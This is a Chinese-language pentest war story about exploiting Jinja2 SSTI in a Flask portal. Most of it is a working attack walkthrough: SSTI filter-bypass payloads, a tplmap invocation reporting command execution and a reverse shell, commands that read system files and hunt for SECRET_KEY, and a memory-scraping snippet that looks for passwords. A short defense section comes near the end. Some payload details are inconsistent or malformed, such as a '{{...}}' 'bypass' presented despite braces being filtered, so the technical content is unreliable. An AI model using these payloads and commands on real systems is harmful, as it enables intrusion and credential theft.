从一次真实的渗透测试说起:我是如何用tplmap五分钟内拿下存在Jinja2 SSTI的Flask站点的
实战复盘:一次Flask应用Jinja2 SSTI漏洞的快速利用与防御思考
那天下午三点二十七分,我正喝着第三杯咖啡,突然收到一封紧急邮件——某金融科技公司需要对其新上线的客户门户进行渗透测试。作为外部安全顾问,我只有48小时完成全面评估。在常规信息收集阶段,一个使用Flask框架的子域名引起了我的注意...
1. 目标识别与初步探测
金融门户的登录页面采用了典型的Python技术栈,通过HTTP头中的Server字段和静态资源路径特征,我快速锁定了Flask框架。关键线索出现在用户反馈功能:
GET /feedback?message=HelloWorld HTTP/1.1 Host: portal.target.com修改参数值测试响应:
| 测试输入 | 响应特征 | 初步结论 |
|---|---|---|
7*7 | 正常显示"7*7" | 无注入迹象 |
{{7*7}} | 返回500错误 | 可能存在过滤 |
{/**/{7*7}} | 页面显示"49" | 确认模板引擎解析 |
注意:实际测试中建议使用Burp Suite的Intruder模块自动化这些探测,避免手动请求触发WAF频率限制
2. 绕过基础防御机制
目标系统对常规{{}}符号进行了过滤,但存在以下绕过可能:
- 注释符干扰:
{/**/{config.items()}}成功泄露配置信息 - 十六进制编码:
{\x7b\x7dconfig.items()}在某些场景有效 - 字符串拼接:
{{''.__class__}}等价于常规payload
通过fuzz测试发现最稳定的注入模式:
{% raw %} {%%20set%20x%20=%20''.__class__%20%}{%%20set%20y%20=%20x.__base__%20%}{{ y.__subclasses__() }} {% endraw %}3. 自动化工具的高效利用
手动验证存在风险且耗时,此时tplmap成为理想选择。配置关键参数:
python tplmap.py -u "http://portal.target.com/feedback?message=*" \ --engine jinja2 \ --technique render \ --level 5 \ --delay 1工具运行结果摘要:
[+] Injection point: GET parameter 'message' [+] Engine: Jinja2 (with comment bypass) [+] OS: linux-posix [+] Capabilities: Command execution: confirmed File read/write: confirmed Reverse shell: available4. 完整攻击链构建
4.1 信息收集阶段
# 获取系统基本信息 cat /etc/os-release uname -a whoami # 查找敏感文件 find / -name "*.py" -type f 2>/dev/null grep -r "SECRET_KEY" /opt 2>/dev/null4.2 权限提升路径
发现目标以低权限用户运行,通过以下方式横向移动:
- 读取数据库配置文件获取凭证
- 利用Flask调试接口(若存在)
- 检查crontab定时任务
4.3 数据提取技术
# 内存中提取敏感数据 import gc for obj in gc.get_objects(): if isinstance(obj, dict) and 'password' in str(obj).lower(): print(str(obj)[:200])5. 企业级防御方案
基于此次测试,建议开发团队实施多层防护:
技术控制层
- 输入验证:使用严格白名单而非黑名单
- 沙箱隔离:限制模板执行环境
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment()架构设计层
| 风险点 | 解决方案 | 实施复杂度 |
|---|---|---|
| 动态模板 | 预编译模板+参数化 | 中 |
| 调试信息泄露 | 生产环境关闭DEBUG模式 | 低 |
| 密钥管理 | 使用环境变量而非硬编码 | 高 |
运营监控层
- 部署RASP解决方案实时阻断攻击
- 建立模板操作的行为基线
- 关键API请求日志全量审计
那次测试最终在23小时内完成,我们发现了包括SSTI在内的7个高危漏洞。最令人后怕的是,攻击者完全可以通过这个入口点获取到客户数据库的访问权限。现在每次看到Flask应用,我都会下意识检查是否存在未过滤的模板参数——这已经成了我的职业本能。
